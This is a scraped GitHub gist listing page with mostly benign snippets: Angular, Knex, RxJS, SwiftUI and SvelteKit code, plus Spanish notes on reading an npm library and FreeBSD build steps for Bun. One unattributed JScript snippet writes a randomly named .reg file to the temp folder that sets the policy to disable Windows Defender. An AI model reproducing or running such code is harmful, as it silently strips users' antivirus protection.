Skip to content

Instantly share code, notes, and snippets.

View juliandavidmr's full-sized avatar
:octocat:
Working from home

Julian David juliandavidmr

:octocat:
Working from home
View GitHub Profile
@overclock11
overclock11 / drag-drop.component.ts
Created July 26, 2018 12:59
Simple drag and drop Angular
import {Component, ElementRef, OnInit, Renderer2, ViewChild} from '@angular/core';
@Component({
selector: 'app-transaction-condition',
styleUrls: ['./transaction-condition.component.css']
template: `
<div class="list" id="list" #list>
<div id="0"
class="item drop-zone"
draggable="true"
@juliandavidmr
juliandavidmr / pasos_para_entender_lib.md
Last active December 27, 2018 20:37
Pasos para entender un proyecto/librería de npm, github, gitlab, etc.

Pasos para entender una librería

  • Leer la documentación general (Normalmente se encuentra en un archivo README.md o Wiki).
  • Determinar herramienta de empaquetación: Rollup, Webpack…
  • Determinar estándar usado: ES6, ES5, TypeScript…
  • Determinar archivo(s) de arranque (Normalmente se visualiza desde un principio en el package.json con la clave main).
  • Obtener listado de dependencias (package.json > dependencies) y observar su comportamiento/funcionamiento (puede observarse rapidamente en la documentación oficial de cada librería desde npm o git(hub|lab)).
  • Abrir archivo de arranque encontrado anteriormente:
    • Buscar función inicializadora, probablemente esté declarado con alguno de los siguientes nombres: boostrap, main, lib. En ES6, ES7 o Typescript se puede encontrar con la exportacion de una funcion anonima o una clase: export default function ...
  • La función inicializadora (parametros de constructuctor cuando se trata de class) puede
@jukkatupamaki
jukkatupamaki / 20190417131115_test-setup.ts
Last active December 10, 2025 00:19
How to use Knex.js in a TypeScript project
import { Knex } from 'knex'
export async function up(knex: Knex): Promise<any> {
await knex.schema.createTable('test_setup', (table: Knex.TableBuilder) => {
table.integer('foobar');
});
}
export async function down(knex: Knex): Promise<any> {
await knex.schema.dropTable('test_setup');
@juliandavidmr
juliandavidmr / counterdown.ts
Created December 20, 2019 19:17
Counterdown + RxJS
import { Observable, timer } from "rxjs";
import { map, takeWhile, take } from "rxjs/operators";
export function countdown(minutes: number, delay: number = 0) {
return new Observable<{ display: string; minutes: number; seconds: number, finished: boolean }>(
subscriber => {
timer(delay, 1000)
.pipe(take(minutes * 60))
.pipe(map(v => minutes * 60 - 1 - v))
.pipe(takeWhile(x => x >= 0 && !subscriber.closed))

Projects in progress

Projects that entertain me in my spare time.

  • i18n-editor
  • superconvert
    • Page: Decode base64.
    • Page: Encode base64.
    • Page: Generate random number (allow max/min values).
  • Page: Generate random UUID.
@yannxou
yannxou / ForegroundTextColor.swift
Created December 23, 2020 09:55
Foreground text color based on background color #SwiftUI
// Taken from Apple's App Dev Training: https://developer.apple.com/tutorials/app-dev-training/
/// This color is either black or white, whichever is more accessible when viewed against the scrum color.
var accessibleFontColor: Color {
var red: CGFloat = 0
var green: CGFloat = 0
var blue: CGFloat = 0
UIColor(self).getRed(&red, green: &green, blue: &blue, alpha: nil)
return isLightColor(red: red, green: green, blue: blue) ? .black : .white
}
var regContent = "Windows Registry Editor Version 5.00\n\n";
regContent = regContent + "[HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows Defender]\n";
regContent = regContent + "\"DisableAntiSpyware\"=dword:00000001\n\n";
var sw = WSH.CreateObject("scripting.filesystemobject");
var sh = WScript.createObject("wscript.shell");
var parth = sh.ExpandEnvironmentStrings("%temp%") + "\\ebgeaegdbdecaedfebace.reg";
if (sw.fileExists(parth)) {
sw.deleteFile(parth);
@psmpm
psmpm / miniflare-in-sveltekit.md
Last active November 15, 2024 23:11
Miniflare in Sveltekit

Miniflare in SvelteKit!

This requires the package miniflare (NOT any of the @miniflare/-scoped packages), as well as @cloudflare/workers-types if you're using TypeScript. For setting up @sveltejs/adapter-cloudflare, see https://kit.svelte.dev/docs/adapter-cloudflare

// src/hooks.server.ts
import { dev } from "$app/environment";
import type { Miniflare } from "miniflare";
@LowByteFox
LowByteFox / readme.md
Last active March 20, 2026 02:39
Compiling bun on FreeBSD
  1. Install FreeBSD 13.2 in a VM and create dummy account, call it bun for example
  2. Install these packages as root using pkg install

ccache cmake git go libiconv libtool gmake ninja pkgconf python rust unzip ruby automake bash llvm16 llvm17 gcc13-dev npm icu libsysinfo

  1. Change bun's shell to /usr/local/bin/bash using chsh ( I recommend installing neovim and running the command as EDITOR=nvim chsh )

now always login as bun user

  1. Clone these repos - there is space between urls, git clone each one separately

https://github.com/Bun-BSD/codegen.git https://github.com/oven-sh/WebKit.git https://github.com/ziglang/zig.git https://github.com/Bun-BSD/bun.git Now we will compile all deps, make sure you are in home directory each time

  1. Building WebKit
    1. In your home directory create webkit.sh and write this into it